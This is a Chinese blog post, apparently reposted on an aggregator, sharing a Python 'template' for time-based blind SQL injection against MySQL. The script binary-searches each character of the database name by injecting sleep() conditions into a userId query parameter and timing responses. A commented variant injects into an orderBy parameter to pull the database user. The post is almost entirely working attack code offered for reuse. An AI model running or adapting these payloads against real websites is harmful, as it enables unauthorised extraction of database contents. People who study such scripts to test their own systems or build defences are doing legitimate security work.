zoukankan      html  css  js  c++  java
  • mysql盲注模板

    几次mysql盲注中抽出来的盲注模板

    import requests
    import time
    time_conf = 1
    results = ""
    for i in range(1, 40):
        min_char_index = 1  # 当前字符最小ASCII
        large_char_index = 250  # 当前字符最大ASCII
        fount = False
        current_char = ""
        print("当前判断位数 ", i)
        while True:  # 二分法
            print("间距 ", min_char_index, large_char_index)
            medium_char_index = int((min_char_index + large_char_index)/2)  # ASCII值中位数
            # 重复请求三次
            running_time = 0
            for _num in range(3):  # 每个字符请求三次取均值,避免网络波动导致影响
                url = f"https://example.com?userId=130" 
                      f"/**/or/**/1=1/**/and/**/" 
                      f"if((ascii(substr(database(),{i},1))%3e{medium_char_index}),sleep({time_conf}),1=2)" 
                      f"&phone=18888888888"  # 该场景超过一秒后端的调用会中断,所以这个if最多只有一秒多 
                # url = f"https://example.com?pageNo=1&pageSize=5&orderBy=desc," 
                #       f"(select*from(select+sleep(" 
                #       f"if((ascii(substr(user(),{i},1))%3e{medium_char_index}),sleep({time_conf}),1)" 
                #       f")union/**/select+1)a)"
                start_time = time.time()
                rep = requests.get(url)
                running_time += (time.time() - start_time)
            running_time = running_time/3
            if large_char_index - min_char_index == 1:
                current_char = ""
                if running_time >= time_conf:
                    current_char = chr(large_char_index)
                else:
                    current_char = chr(min_char_index)
                break
            if running_time > time_conf:  # 根据响应时间判断字符位于哪个二分区间
                min_char_index = medium_char_index
            else:
                large_char_index = medium_char_index
        print("字符=>", current_char, "  ASCII=>", ord(current_char))
        if ord(current_char) == 1 or ord(current_char) == 250:
            break
        results += current_char
        print("当前结果=>", results)
    print("结果=>", results)
    
  • 相关阅读:
    鹅厂女专家:用“爱折腾”实现跨界之美
    基于腾讯云的视频聊天研究
    iOS微信内存监控
    2017年数据库技术盘点
    如何做好游戏内实时语音体验
    腾讯云微计算实践:从Serverless说起,谈谈边缘计算的未来
    使用腾讯云“自定义监控”监控GPU使用率
    如何在Python中从零开始实现随机森林
    DataGridView 设置某个列为只能为数字
    Ieditor
  • 原文地址:https://www.cnblogs.com/huim/p/15303567.html
Copyright © 2011-2022 走看看